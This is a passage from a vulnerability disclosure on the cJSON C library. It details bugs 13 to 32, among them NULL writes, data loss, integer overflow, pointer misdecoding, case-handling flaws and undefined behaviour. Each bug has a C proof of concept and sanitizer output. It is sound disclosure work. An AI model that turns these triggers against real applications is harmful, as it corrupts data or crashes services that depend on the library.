    #1 0x000100bd21e0 in cJSONUtils_ApplyPatches cJSON_Utils.c:1056
    #2 0x000100bdd68c in main poc.c:16

SUMMARY: AddressSanitizer: SEGV cJSON_Utils.c:839 in apply_patch

Impact

NULL pointer dereference, requiring the application to have built the patch document itself.


Bug number 13 (NULL pointer write)

Details

Five allocations in cJSON_Utils.c are written to without checking the result: cJSON_Utils.c:224, :242, :1120, :1175 and :1246. For instance:

/* cJSON_Utils.c:242 */
full_pointer = (unsigned char*)cJSON_malloc(strlen(target_pointer) + );
full_pointer[0] = '/';   /* [ no NULL check ] */

cJSON checks essentially every other allocation, so these five read as oversights rather than a decision, and two of them are a write to NULL + offset rather than a plain crash.

Severity here is low and I’m not going to dress it up. The allocations are 3, 5, 22 and 24 bytes. On Linux with default overcommit a 3-byte malloc doesn’t return NULL at all; the process gets OOM-killed instead. Getting here needs a hard RLIMIT_AS, a cgroup cap, a fixed-pool custom allocator via cJSON_InitHooks, or a constrained embedded target. Your application decides whether this is reachable, not a remote attacker.

Proof of Concept

This is the only proof of concept here that needs a helper function, since it wants an allocator that fails on demand.

#include <stdlib.h>
#include "cJSON.h"
#include "cJSON_Utils.h"

static long fail_at = -1;
static void *hook(size_t size) { return (fail_at >= 0 && fail_at-- == 0) ? NULL : malloc(size); }

int main(void)
{
    cJSON_Hooks hooks = { hook, free };
    cJSON *root, *target;

    cJSON_InitHooks(&hooks);
    root = cJSON_Parse("{\"k\":{\"target\":1}}");
    target = cJSONUtils_GetPointer(root, "/k/target");
    fail_at = 1;  /* 0 = the strdup("") base case, 1 = full_pointer at :242 */
    cJSONUtils_FindPointerFromObjectTo(root, target);
    return 0;
}
cJSON_Utils.c:243:17: runtime error: applying zero offset to null pointer
    #0 0x0001046c45fc in cJSONUtils_FindPointerFromObjectTo cJSON_Utils.c:243
    #1 0x0001046c43ec in cJSONUtils_FindPointerFromObjectTo cJSON_Utils.c:217
    #2 0x0001046d17c8 in main poc.c:21
cJSON_Utils.c:243:17: runtime error: store to null pointer of type 'unsigned char'
SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior cJSON_Utils.c:243:17

==85930==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x0001046c4674 bp 0x00016b7628e0 sp 0x00016b762740 T0)
==85930==The signal is caused by a WRITE memory access.
==85930==Hint: address points to the zero page.
    #0 0x0001046c4674 in cJSONUtils_FindPointerFromObjectTo cJSON_Utils.c:243
    #1 0x0001046c43ec in cJSONUtils_FindPointerFromObjectTo cJSON_Utils.c:217
    #2 0x0001046d17c8 in main poc.c:21

SUMMARY: AddressSanitizer: SEGV cJSON_Utils.c:243 in cJSONUtils_FindPointerFromObjectTo

Impact

Crash under memory pressure. Not attacker-triggerable, but worth knowing about if you’re one of the many people running cJSON on a fixed-pool allocator in firmware.


Bug number 14 (data loss and memory leak)

Details

If I could get one thing on this list fixed, it’d be this one. It needs no attacker at all, and it loses data in ordinary use without telling anybody.

cJSON keeps a tail pointer: for a non-empty child list, child->prev points at the last element, which is what makes appending O(1). sort_list() is a mergesort that builds a perfectly correct doubly-linked list and then never restores that invariant. At the split, second->prev is set to NULL, and if that element wins the first merge comparison it becomes the new head, still carrying a NULL prev:

/* cJSON_Utils.c:522 */
second = second->prev;
if (first != NULL)
{
    first->prev = NULL;
}
if (second != NULL)
{
    second->prev = NULL;      /* [ new head keeps prev == NULL ] */
}

sort_object() then assigns that head straight to object->child. Here’s what it costs you:

/* cJSON.c:2044 */
else
{
    /* append to the end */
    if (child->prev)
    {
        suffix_object(child->prev, item);
        array->child->prev = item;
    }
}
return true;                  /* [ success reported even though nothing was linked ] */

When child->prev is NULL the body gets skipped entirely and the function still returns true. By that point add_item_to_object() has already strdup‘d the key onto the item, so the item and its key both leak.

You don’t have to call a sort function to hit this. compare_json(), cJSONUtils_GenerateMergePatch() and cJSONUtils_GeneratePatches() all sort internally, and what they sort is your documents, so merely diffing two objects is enough to corrupt both of them.

It triggers whenever a non-first key sorts to the front, so {"a":1,"b":2} is fine and {"b":1,"a":2} is broken. There used to be a while (child->next) fallback in add_item_to_array() that would have absorbed all of this. It got removed in an optimisation to find the tail node faster.

Proof of Concept

LeakSanitizer isn’t available on macOS, so this counts allocations by hand.

#include <stdio.h>
#include <stdlib.h>
#include "cJSON.h"
#include "cJSON_Utils.h"
static long live;
static void *hook_malloc(size_t size) { live++; return malloc(size); }
static void hook_free(void *p) { if (p) live--; free(p); }

int main(void)
{
    cJSON_Hooks hooks = { hook_malloc, hook_free };
    cJSON *from, *to, *added;
    const char *lookup;
    cJSON_InitHooks(&hooks);
    from = cJSON_Parse("{\"b\":1,\"a\":2}");  /* keys not already sorted */
    to = cJSON_Parse("{\"b\":1,\"a\":3}");
    cJSON_Delete(cJSONUtils_GenerateMergePatch(from, to));  /* sorts `from` in place */
    added = cJSON_AddNumberToObject(from, "z", 9);
    lookup = cJSON_GetObjectItem(from, "z") ? "found" : "MISSING";
    cJSON_Delete(from);
    cJSON_Delete(to);
    printf("AddNumberToObject returned %s, GetObjectItem(\"z\") is %s, %ld allocations outstanding\n",
           added ? "non-NULL (success)" : "NULL", lookup, live);
    return 0;
}
AddNumberToObject returned non-NULL (success), GetObjectItem("z") is MISSING, 2 allocations outstanding

Impact

Data loss with a success return value, plus a memory leak, in ordinary single-threaded use with nobody attacking anything.


Bug number 15 (incorrect pointer decoding)

Details

decode_pointer_inplace() decodes RFC 6901 escapes in place, and it’s wrong in two independent ways at once:

/* cJSON_Utils.c:359 */
static void decode_pointer_inplace(unsigned char *string)
{
    unsigned char *decoded_string = string;

    if (string == NULL) {
        return;
    }

    for (; *string; (void)decoded_string++, string++)
    {
        if (string[0] == '~')
        {
            if (string[1] == '0')
            {
                decoded_string[0] = '~';
            }
            else if (string[1] == '1')
            {
                decoded_string[1] = '/';   /* [ should be decoded_string[0] ] */
            }
            else
            {
                /* invalid escape sequence */
                return;
            }

            string++;
        }
        /* [ no else branch: ordinary characters are never copied ] */
    }

    decoded_string[0] = '\0';
}

The first defect is the off-by-one on the ~1 branch. The second one does the real damage: there’s no else copying ordinary characters down to the lagging output pointer, so once an escape has moved the two pointers apart, every byte after it is stale.

Which gets you:

pointer token decodes to should be
a~1b a~/ a/b
foo~1bar foo~/ba foo/bar
m~0n m~0 m~n
abc~1xyz~0123 abc~/xy~~01 abc/xyz~123

This only affects the mutating patch operations, which split the final path token and decode it. cJSONUtils_GetPointer() is unaffected, because it goes through compare_pointers(), which decodes correctly.

If you go looking at this yourself, the off-by-one is the eye-catching half and the missing copy is easy to walk past. Fix only the index and /a~1b decodes to a/1, which is still the wrong key.

Proof of Concept

#include <stdio.h>
#include "cJSON.h"
#include "cJSON_Utils.h"

int main(void)
{
    cJSON *doc = cJSON_Parse("{}");
    cJSON *patch = cJSON_Parse("[{\"op\":\"add\",\"path\":\"/a~1b\",\"value\":1}]");

    cJSONUtils_ApplyPatches(doc, patch);
    printf("add with path \"/a~1b\" created key \"%s\" instead of \"a/b\"\n", doc->child->string);
    cJSON_Delete(patch);
    cJSON_Delete(doc);
    return 0;
}
add with path "/a~1b" created key "a~/" instead of "a/b"

So an add quietly creates the wrong key. A remove, replace, move or copy against an existing, correctly-named key fails with status 13 instead.

Impact

Patch paths containing an escaped / or ~ operate on a different object member than the one they name.


Bug number 16 (input validation)

Details

The same function returns silently when it meets an invalid escape sequence:

/* cJSON_Utils.c:379 */
else
{
    /* invalid escape sequence */
    return;      /* [ no failure signalled to the caller ] */
}

A ~ followed by anything other than 0 or 1 isn’t a valid JSON Pointer, so the operation ought to fail. Instead the caller carries on with the raw, undecoded token and treats it as a literal object key. If the target document happens to contain a member by that literal name, the operation succeeds.

Proof of Concept

#include <stdio.h>
#include "cJSON.h"
#include "cJSON_Utils.h"

int main(void)
{
    cJSON *doc = cJSON_Parse("{\"a~2b\":1}");
    cJSON *patch = cJSON_Parse("[{\"op\":\"remove\",\"path\":\"/a~2b\"}]");
    int status = cJSONUtils_ApplyPatches(doc, patch);
    char *s = cJSON_PrintUnformatted(doc);

    printf("remove with invalid pointer \"/a~2b\" returned status=%d and doc=%s\n", status, s);
    cJSON_free(s);
    cJSON_Delete(patch);
    cJSON_Delete(doc);
    return 0;
}
remove with invalid pointer "/a~2b" returned status=0 and doc={}

Impact

Malformed patch documents mutate state instead of being rejected.


Bug number 17 (integer overflow)

Details

decode_array_index_from_pointer() accumulates digits with no overflow check:

/* cJSON_Utils.c:285 */
for (position = 0; (pointer[position] >= '0') && (pointer[position] <= '9'); position++)
{
    parsed_index = (10 * parsed_index) + (size_t)(pointer[position] - '0');
}

The index wraps modulo 2^64, so a wildly out-of-range array index comes back pointing at a perfectly valid element. Unsigned wraparound isn’t undefined behaviour, so no sanitizer is going to tell you about it either.

Proof of Concept

#include <stdio.h>
#include "cJSON.h"
#include "cJSON_Utils.h"

int main(void)
{
    cJSON *array = cJSON_Parse("[\"zero\",\"one\",\"two\"]");
    cJSON *hit = cJSONUtils_GetPointer(array, "/18446744073709551617");

    printf("returned element \"%s\" instead of NULL\n", hit ? hit->valuestring : "(null)");
    cJSON_Delete(array);
    return 0;
}
returned element "one" instead of NULL

2^64+1 becomes index 1. An add at /arr/18446744073709551616 inserts at position 0.

Impact

An out-of-range JSON Pointer that should be rejected instead reads, removes, replaces or inserts at an element of the attacker’s choosing.


Bug number 18 (input validation)

Details

The digit loop in that same function can run zero times. For an empty token, position stays 0, the validity check passes because the current byte is '\0' or '/', and parsed_index, still sitting at 0, comes back as a successfully decoded index.

RFC 6901 wants an array index to be a sequence of decimal digits. The empty token is a legal object member name, and it does still correctly resolve as one, but it is not a legal array index.

Proof of Concept

#include <stdio.h>
#include "cJSON.h"
#include "cJSON_Utils.h"

int main(void)
{
    cJSON *array = cJSON_Parse("[\"zero\",\"one\"]");
    cJSON *hit = cJSONUtils_GetPointer(array, "/");

    printf("GetPointer(array, \"/\") returned element 0 (\"%s\") instead of NULL\n",
           hit ? hit->valuestring : "(null)");
    cJSON_Delete(array);
    return 0;
}
GetPointer(array, "/") returned element 0 ("zero") instead of NULL

A remove with path / against an array deletes element 0 and reports success, and a move with a from of / reorders it.

Impact

A malformed array pointer silently targets element 0.


Bug number 19 (input validation)

Details

get_item_from_pointer() drives its walk from the loop condition itself:

/* cJSON_Utils.c:311 */
while ((pointer[0] == '/') && (current_element != NULL))

A JSON Pointer is either the empty string or it begins with /. Any other non-empty string skips the loop body entirely, and the function hands back the object it was given, which is to say the document root.

Proof of Concept

#include <stdio.h>
#include "cJSON.h"
#include "cJSON_Utils.h"

int main(void)
{
    cJSON *doc = cJSON_Parse("{\"x\":1}");
    cJSON *patch = cJSON_Parse("[{\"op\":\"add\",\"path\":\"junk/b\",\"value\":2}]");
    int status = cJSONUtils_ApplyPatches(doc, patch);
    char *s = cJSON_PrintUnformatted(doc);

    printf("add with path \"junk/b\" returned status=%d and doc=%s\n", status, s);
    cJSON_free(s);
    cJSON_Delete(patch);
    cJSON_Delete(doc);
    return 0;
}
add with path "junk/b" returned status=0 and doc={"x":1,"b":2}

cJSONUtils_GetPointer(doc, "garbage") will likewise hand you back the whole root object.

Impact

Malformed pointers resolve to the document root, so a patch naming a parent that doesn’t exist mutates the root instead of failing. And if you expose JSON Pointer lookups over a sensitive document, a malformed path returns the entire document.


Bug number 20 (incorrect object member matching)

Details

detach_path() takes a case_sensitive argument, uses it to resolve the parent, and then throws it away for the child:

/* cJSON_Utils.c:452 */
parent = get_item_from_pointer(object, (char*)parent_pointer, case_sensitive);
decode_pointer_inplace(child_pointer);

/* cJSON_Utils.c:466 */
detached_item = cJSON_DetachItemFromObject(parent, (char*)child_pointer);

cJSON_DetachItemFromObject() is the case-insensitive variant. There’s no branch on the flag at all, which is odd given that merge_patch(), a few hundred lines further down, branches correctly.

To be clear, cJSON’s non-CaseSensitive APIs are case-insensitive by design and documented as such, and that isn’t what I’m reporting. This is a different thing: the caller explicitly asked for case-sensitive behaviour and didn’t get it. You can watch the inconsistency happen inside a single call, where a test operation on /role correctly fails against {"Role":true} while a remove on /role sails through.

There’s a second effect. replace detaches and then re-adds under the path taken from the patch, so replace /admin against {"Admin":false} leaves you with {"admin":true}, the member having been renamed on the way through.

remove, replace and the source side of move are all affected.

Proof of Concept

#include <stdio.h>
#include "cJSON.h"
#include "cJSON_Utils.h"

int main(void)
{
    cJSON *doc = cJSON_Parse("{\"Role\":true}");
    cJSON *patch = cJSON_Parse("[{\"op\":\"remove\",\"path\":\"/role\"}]");
    int status = cJSONUtils_ApplyPatchesCaseSensitive(doc, patch);
    char *s = cJSON_PrintUnformatted(doc);

    printf("case-sensitive remove of \"/role\" returned status=%d and doc=%s\n", status, s);
    cJSON_free(s);
    cJSON_Delete(patch);
    cJSON_Delete(doc);
    return 0;
}
case-sensitive remove of "/role" returned status=0 and doc={}

Impact

cJSONUtils_ApplyPatchesCaseSensitive removes, replaces or moves a member whose name differs only in case from the one the patch actually names. That’s the API you would deliberately reach for when your object keys are case-distinct. Authorisation data, say.


Bug number 21 (data loss)

Details

generate_merge_patch() sorts both objects with the case-aware comparator and then compares keys with a raw strcmp():

/* cJSON_Utils.c:1406 */
sort_object(from, case_sensitive);
sort_object(to, case_sensitive);

/* cJSON_Utils.c:1423 */
diff = strcmp(from_child->string, to_child->string);

So the merge walk’s comparator disagrees with the comparator that established the ordering, and the walk ends up emitting both spellings of a key that differs only in case. The generated patch comes out carrying a duplicate key with contradictory values, and applying it with the matching case-insensitive merge deletes the member that was just added.

Pick either reading and it’s still broken. Case-insensitively, the correct patch is empty. Case-sensitively, it should transform the document. What you get is {}.

Proof of Concept

#include <stdio.h>
#include "cJSON.h"
#include "cJSON_Utils.h"

int main(void)
{
    cJSON *from = cJSON_Parse("{\"role\":true}");
    cJSON *to = cJSON_Parse("{\"Role\":true}");
    cJSON *patch = cJSONUtils_GenerateMergePatch(from, to);
    char *p = cJSON_PrintUnformatted(patch);
    char *r = cJSON_PrintUnformatted(cJSONUtils_MergePatch(cJSON_Parse("{\"role\":true}"), patch));

    printf("patch = %s ; applying it yields %s instead of {\"Role\":true}\n", p, r);
    cJSON_free(p);
    cJSON_free(r);
    return 0;
}
patch = {"Role":true,"role":null} ; applying it yields {} instead of {"Role":true}

Impact

Total data loss when synchronising two documents whose keys differ in case.


Bug number 22 (incorrect diff generation)

Details

generate_merge_patch() recurses by calling the public wrapper rather than itself:

/* cJSON_Utils.c:1455 */
cJSON_AddItemToObject(patch, to_child->string,
                      cJSONUtils_GenerateMergePatch(from_child, to_child));

cJSONUtils_GenerateMergePatch() hard-codes case_sensitive = false. Which means cJSONUtils_GenerateMergePatchCaseSensitive() is case-sensitive at the top level and case-insensitive everywhere underneath it.

The same input shape gives you a correct patch at depth 0 and a wrong one once it’s nested. That’s what makes this a bug and not an argument about semantics.

Proof of Concept

You need a nesting depth of at least two before it shows up.

#include <stdio.h>
#include "cJSON.h"
#include "cJSON_Utils.h"

int main(void)
{
    cJSON *from = cJSON_Parse("{\"a\":{\"b\":{\"X\":1}}}");
    cJSON *to = cJSON_Parse("{\"a\":{\"b\":{\"x\":1}}}");
    cJSON *patch = cJSONUtils_GenerateMergePatchCaseSensitive(from, to);

    printf("returned %s\n", patch ? "a patch" : "NULL (no change needed)");
    cJSON_Delete(patch);
    cJSON_Delete(from);
    cJSON_Delete(to);
    return 0;
}
returned NULL (no change needed)

Impact

A replication or synchronisation consumer is told no patch is needed and never converges.


Bug number 23 (data loss)

Details

apply_patch() destroys data before it validates. For remove and replace it detaches and deletes the existing item at cJSON_Utils.c:887-896, then goes looking for the value member 54 lines later:

/* cJSON_Utils.c:941 */
else /* Add/Replace uses "value". */
{
    value = get_object_item(patch, "value", case_sensitive);
    if (value == NULL)
    {
        /* missing "value" for add/replace. */
        status = 7;
        goto cleanup;
    }

move is worse. The source gets detached at :918 before the destination parent is resolved at :971, and every failure path funnels into cleanup, which deletes the detached node. A move with a valid from and any unresolvable path therefore destroys the moved value irrecoverably, across five different failure statuses.

cJSON does disclaim atomicity. The header says so and offers a duplicate-then-swap recipe in a comment. What makes this a defect and not that documented caveat is the inconsistency. add with no value leaves the document untouched. copy with a bad from leaves it untouched. Even root replace with no value leaves it untouched, because the root special case validates value before calling overwrite_item(). It’s only the non-root replace path that gets the ordering wrong.

Proof of Concept

#include <stdio.h>
#include "cJSON.h"
#include "cJSON_Utils.h"

int main(void)
{
    cJSON *o = cJSON_Parse("{\"a\":1}");
    cJSON *m = cJSON_Parse("{\"a\":1}");
    int s1 = cJSONUtils_ApplyPatches(o, cJSON_Parse("[{\"op\":\"replace\",\"path\":\"/a\"}]"));
    int s2 = cJSONUtils_ApplyPatches(m, cJSON_Parse("[{\"op\":\"move\",\"from\":\"/a\",\"path\":\"/x/b\"}]"));

    printf("replace-without-value status=%d doc=%s\n", s1, cJSON_PrintUnformatted(o));
    printf("move-to-bad-path      status=%d doc=%s\n", s2, cJSON_PrintUnformatted(m));
    return 0;
}
replace-without-value status=7 doc={}
move-to-bad-path      status=9 doc={}

Moving a node into its own descendant is the cleanest case of the lot. {"a":{"b":{}}} with [{"op":"move","from":"/a","path":"/a/b"}] returns status 9 and leaves you holding {}.

Impact

Reachable from attacker-supplied patch bytes alone, with nothing unusual required of the application. A remote party can delete any addressable member while the API reports failure. If your code reads a non-zero status as “nothing happened” and carries on serving the object, that’s attacker-chosen data destruction.


Bug number 24 (structural corruption and memory leak)

Details

overwrite_item() finishes by copying the replacement over the node wholesale:

/* cJSON_Utils.c:804 */
memcpy(root, &replacement, sizeof(cJSON));

replacement is a freshly duplicated node, so its next and prev are NULL. Copying the whole struct therefore stamps over the target’s sibling pointers. If the patched node is a document root, no harm done. If the application applies a root-level operation to a sub-node of a document, which is a perfectly reasonable thing to want to do, the sibling list gets severed and every following member becomes unreachable. The node’s key name is freed along with it, so it prints with an empty key.

Proof of Concept

#include <stdio.h>
#include "cJSON.h"
#include "cJSON_Utils.h"

int main(void)
{
    cJSON *doc = cJSON_Parse("{\"a\":1,\"b\":2,\"c\":3}");
    cJSON *patch = cJSON_Parse("[{\"op\":\"replace\",\"path\":\"\",\"value\":9}]");
    char *s;

    cJSONUtils_ApplyPatches(cJSON_GetObjectItem(doc, "a"), patch);
    s = cJSON_PrintUnformatted(doc);
    printf("doc=%s\n", s);
    cJSON_free(s);
    cJSON_Delete(patch);
    cJSON_Delete(doc);
    return 0;
}
doc={"":9}

Members b and c are gone from the document and leaked, and a has lost its key.

Impact

Structural corruption and a memory leak, with no indication that either happened.


Bug number 25 (data corruption)

Details

cJSON_Minify() handles escapes inside strings by special-casing exactly one sequence:

/* cJSON.c:2916 */
else if ((json[0] == '\\') && (json[1] == '\"'))
{
    /* string escape sequence */
    
}

JSON treats a quote as escaped only when an odd number of backslashes come before it. Here any \ followed by " gets skipped, so in \\ the second backslash reads as the start of an escape and the closing quote gets eaten as though it were escaped too. The minifier never leaves string mode, and just keeps chewing through real JSON syntax as if it were string content.

Proof of Concept

#include <stdio.h>
#include "cJSON.h"
int main(void)
{
    char doc[] = "[\"\\\\\", \"a//b\", 1]";
    char sp[] = "[\"\\\\\", \"keep  these  spaces\"]";
    cJSON *r;
    printf("input     : %s\n", doc);
    cJSON_Minify(doc);
    r = cJSON_Parse(doc);
    printf("minified  : %s\n", doc);
    printf("reparse   : %s\n", r ? "ok" : "FAILS while the input parsed fine");
    printf("also      : %s", sp);
    cJSON_Minify(sp);
    printf("  ->  %s\n", sp);
    cJSON_Delete(r);
    return 0;
}
input     : ["\\", "a//b", 1]
minified  : ["\\", "a
reparse   : FAILS while the input parsed fine
also      : ["\\", "keep  these  spaces"]  ->  ["\\", "keepthesespaces"]

The document gets truncated into something that no longer parses, in-string whitespace is destroyed, and an in-string /*…*/ gets deleted as though it were a comment.

Impact

A minifier that’s meant to preserve semantics alters string contents and truncates documents without a word. That matters if you run cJSON_Minify() before forwarding or validating untrusted JSON.


Bug number 26 (data loss)

Details

print_number() prints a double with %1.15g and then checks whether the result round-trips, retrying at 17 significant digits if it doesn’t. The check is where it goes wrong:

/* cJSON.c:626 */
if ((sscanf((char*)number_buffer, "%lg", &test) != 1) || !compare_double((double)test, d))

compare_double() is a relative epsilon comparison:

/* cJSON.c:589 */
static cJSON_bool compare_double(double a, double b)
{
    double maxVal = fabs(a) > fabs(b) ? fabs(a) : fabs(b);
    return (fabs(a - b) <= maxVal * DBL_EPSILON);
}

At magnitude 9e15 that tolerates an absolute error of around 2.0, so the round-trip check passes when it shouldn’t and the 17-digit retry never happens. The exact-integer case shows it most clearly. 9007199254740991 is 2^53 - 1, exactly representable, and it comes back out as 9007199254740990.

At the very top of the range the epsilon degenerates completely, since DBL_MAX * DBL_EPSILON is itself infinity, which makes compare_double(inf, DBL_MAX) true.

Proof of Concept

#include <math.h>
#include <stdio.h>
#include <stdlib.h>
#include "cJSON.h"

int main(void)
{
    cJSON *big = cJSON_Parse("1.7976931348623157e308");   /* exactly DBL_MAX */
    char *big_text = cJSON_PrintUnformatted(big);
    cJSON *reparsed = cJSON_Parse(big_text);
    cJSON *tenths = cJSON_Parse("0.30000000000000004");
    char *tenths_text = cJSON_PrintUnformatted(tenths);

    printf("DBL_MAX printed as %s, re-parses to %g (isinf=%d)\n",
           big_text, cJSON_GetNumberValue(reparsed), isinf(cJSON_GetNumberValue(reparsed)));
    printf("0.30000000000000004 printed as %s\n", tenths_text);
    free(big_text); free(tenths_text);
    cJSON_Delete(big); cJSON_Delete(reparsed); cJSON_Delete(tenths);
    return 0;
}
DBL_MAX printed as 1.79769313486232e+308, re-parses to inf (isinf=1)
0.30000000000000004 printed as 0.3

Rebuild the same file with an exact test, ((double)test != d), which is what this code used to do, and every case round-trips correctly.

Impact

Numeric data loss on serialisation with nothing to signal it, affecting every caller that prints doubles, and a finite value turning into infinity at the top of the range.


Bug number 27 (input validation)

Details

parse_hex4() returns 0 both for a valid escape of the zero code point and for any invalid hex digit:

/* cJSON.c:686 */
else
{
    /* invalid */
    return 0;
}

utf16_literal_to_utf8() never verifies that the four characters after \u were actually hex, so an invalid escape is indistinguishable from a valid zero and decodes to a NUL byte. Every C-string operation in the library then truncates the string at that byte.

This is the only hole in what is otherwise a strict escape validator. \q, \-, \x41, \u00 and a bare \u are all correctly rejected.

Proof of Concept

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include "cJSON.h"

int main(void)
{
    cJSON *bad = cJSON_Parse("\"\\uZZZZ\"");
    cJSON *obj = cJSON_Parse("{\"k\":\"A\\uZZZZB\"}");
    char *out = cJSON_PrintUnformatted(obj);

    printf("\"\\uZZZZ\" parses: IsString=%d strlen=%zu\n",
           cJSON_IsString(bad), strlen(cJSON_GetStringValue(bad)));
    printf("{\"k\":\"A\\uZZZZB\"} round-trips to %s\n", out);
    free(out);
    cJSON_Delete(bad); cJSON_Delete(obj);
    return 0;
}
"\uZZZZ" parses: IsString=1 strlen=0
{"k":"A\uZZZZB"} round-trips to {"k":"A"}

Python’s json module rejects both of those inputs.

Impact

Invalid JSON is accepted, the resulting value is truncated, and the return says success. If you’re relying on a successful cJSON parse to reject malformed input, it’ll take the input and hand you back a truncated string.


Bug number 28 (type and value corruption)

Details

parse_number() calls strtod() and only checks whether any characters were consumed:

/* cJSON.c:378 */
number = strtod((const char*)number_c_string, (char**)&after_end);
if (number_c_string == after_end)
{
    goto fail; /* parse_error */
}

errno isn’t checked and neither is isinf(). A syntactically valid but out-of-range JSON number therefore gets stored as a cJSON_Number whose valuedouble is infinity, and print_number() explicitly emits null for non-finite values.

So a single parse/print round trip changes both the value and the type, no error is signalled anywhere, and cJSON_IsNumber() keeps returning true throughout, which leaves the caller no way to detect any of it.

Proof of Concept

#include <stdio.h>
#include <stdlib.h>
#include "cJSON.h"

int main(void)
{
    cJSON *first = cJSON_Parse("{\"amount\":1e999999}");
    char *first_text = cJSON_PrintUnformatted(first);
    cJSON *second = cJSON_Parse(first_text);
    char *second_text = cJSON_PrintUnformatted(second);

    printf("IsNumber=%d valuedouble=%g, re-serializes as %s\n",
           cJSON_IsNumber(cJSON_GetObjectItemCaseSensitive(first, "amount")),
           cJSON_GetNumberValue(cJSON_GetObjectItemCaseSensitive(first, "amount")), first_text);
    printf("after a second round trip IsNull=%d / %s\n",
           cJSON_IsNull(cJSON_GetObjectItemCaseSensitive(second, "amount")), second_text);
    free(first_text); free(second_text);
    cJSON_Delete(first); cJSON_Delete(second);
    return 0;
}
IsNumber=1 valuedouble=inf, re-serializes as {"amount":null}
after a second round trip IsNull=1 / {"amount":null}

1e-999999 underflows to 0 by the same route, equally quietly.

Impact

A numeric field supplied by an attacker becomes JSON null after a parse/print round trip, changing both value and type for every downstream consumer that tells the two apart. The output is still syntactically valid JSON, so nothing further down the line has any reason to notice.


Bug number 29 (incorrect comparison)

Details

cJSON_Compare() resolves object members with get_object_item(), which always returns the first match, while the surrounding loop visits every member. So two byte-identical documents that each contain a duplicate key compare unequal.

cJSON’s parser accepts duplicate keys, which the RFC permits, and resolves lookups first-wins. That makes this reachable from any input a remote party controls.

Proof of Concept

#include <stdio.h>
#include "cJSON.h"

int main(void)
{
    cJSON *a = cJSON_Parse("{\"a\":1,\"a\":2}");
    cJSON *b = cJSON_Parse("{\"a\":1,\"a\":2}");   /* same bytes, different pointer */

    printf("cJSON_Compare(a,b) == %d, expected 1\n", cJSON_Compare(a, b, 1));
    cJSON_Delete(a);
    cJSON_Delete(b);
    return 0;
}
cJSON_Compare(a,b) == 0, expected 1

Comparing one node against itself still returns 1, thanks to a pointer-identity fast path near the top of the function, so you need two distinct trees before you can see this.

There’s a second and unrelated way to make cJSON_Compare() disagree with itself. The number branch uses the same compare_double() from bug 26, and fabs(inf - inf) is NaN, so two identical infinities compare unequal:

cJSON_Compare(inf, inf) == 0

Impact

Equality comparison returns the wrong answer for attacker-influenced documents.


Bug number 30 (undefined behaviour)

Details

cJSON_SetValuestring() tries to detect overlapping strings:

/* cJSON.c:456 */
/* return NULL if the object is corrupted or valuestring is NULL */
if (!(object->type & cJSON_String) || (object->type & cJSON_IsReference) || (object->valuestring == NULL))
{
    return NULL;
}
if (!( valuestring + v1_len < object->valuestring || object->valuestring + v2_len < valuestring ))
{
    return NULL;
}

Relational comparison of pointers that don’t point into the same object is undefined behaviour. C17 6.5.8p5 only permits < within a single array or object. Sanitizers can’t diagnose it and it happens to work on flat-address-space platforms, which is presumably why it’s still sitting there.

It’s also a functional regression, and that part you can actually observe. It arrived in v1.7.19, and it now refuses legitimate calls: assigning an item’s own valuestring back to itself returns NULL. The existing test only exercises pointers within a single allocation, which is why it sails past this.

Proof of Concept

#include <stdio.h>
#include "cJSON.h"

int main(void)
{
    cJSON *item = cJSON_Parse("\"abc\"");
    char *result = cJSON_SetValuestring(item, item->valuestring);

    printf("returned %s, valuestring is still \"%s\"\n",
           (result == NULL) ? "NULL" : result, item->valuestring);
    cJSON_Delete(item);
    return 0;
}
returned NULL, valuestring is still "abc"

Impact

Undefined behaviour, plus a functional regression that shipped in v1.7.19.


Bug number 31 (undefined behaviour)

Details

Two functions cast a double straight to int:

/* cJSON.c:2524, in cJSON_CreateNumber */
item->valueint = (int)num;

/* cJSON.c:428, in cJSON_SetNumberHelper */
object->valueint = (int)number;

Both saturate against INT_MAX and INT_MIN first, but NaN fails both comparisons and sails straight through to the cast, which is undefined behaviour.

Parsing won’t get you here. parse_number() saturates, and its accepted-character set never lets the literals nan or inf anywhere near strtod() in the first place. The realistic path runs through your own code. cJSON_GetNumberValue() returns NAN when handed a non-number, so an application that reads a field it assumed was numeric and passes the result straight back gets there in two entirely ordinary-looking calls. Attacker control of the JSON type is all it takes.

Proof of Concept

#include "cJSON.h"

int main(void)
{
    cJSON *not_a_number = cJSON_Parse("\"12\"");

    cJSON_Delete(cJSON_CreateNumber(cJSON_GetNumberValue(not_a_number)));
    cJSON_Delete(not_a_number);
    return 0;
}
cJSON.c:2524:30: runtime error: nan is outside the range of representable values of type 'int'
    #0 0x000100f9fc6c in cJSON_CreateNumber cJSON.c:2524
    #1 0x000100fc9644 in main poc.c:11
SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior cJSON.c:2524:30

And for the second site:

#include <math.h>
#include "cJSON.h"

int main(void)
{
    cJSON *number = cJSON_Parse("1");

    cJSON_SetNumberHelper(number, (double)NAN);
    cJSON_Delete(number);
    return 0;
}
cJSON.c:428:28: runtime error: nan is outside the range of representable values of type 'int'
    #0 0x0001002260a0 in cJSON_SetNumberHelper cJSON.c:428
    #1 0x000100259648 in main poc.c:12
SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior cJSON.c:428:28

Impact

Undefined behaviour reachable from ordinary application code operating on attacker-controlled JSON types.


Bug number 32 (data race)

Details

cJSON_Version() formats into a function-local static buffer on every single call:

/* cJSON.c:124 */
CJSON_PUBLIC(const char*) cJSON_Version(void)
{
    static char version[15];
    sprintf(version, "%i.%i.%i", CJSON_VERSION_MAJOR, CJSON_VERSION_MINOR, CJSON_VERSION_PATCH);

    return version;
}

Every caller shares one mutable buffer and every call rewrites it, so concurrent callers race on it. The contents are constant, which caps how bad this gets, but the write is real enough.

There’s a bigger instance of the same class right next door. static error global_error is written by every parse, and ThreadSanitizer is unambiguous about it:

WARNING: ThreadSanitizer: data race ... Location is global 'global_error'
  #0 cJSON_ParseWithLengthOpts cJSON.c:1153 / :1154   (also :1220)

That one is a genuine hazard if you parse on more than one thread, and I can’t see a clean fix that keeps cJSON_GetErrorPtr()’s signature intact.

Proof of Concept

Deliberately single-threaded. A racing proof of concept would just be flaky, and the shared address is the actual defect:

#include <stdio.h>
#include "cJSON.h"

int main(void)
{
    const char *first = cJSON_Version();
    const char *second = cJSON_Version();

    printf("both calls returned the same buffer at %p (first==second: %d, contents \"%s\")\n",
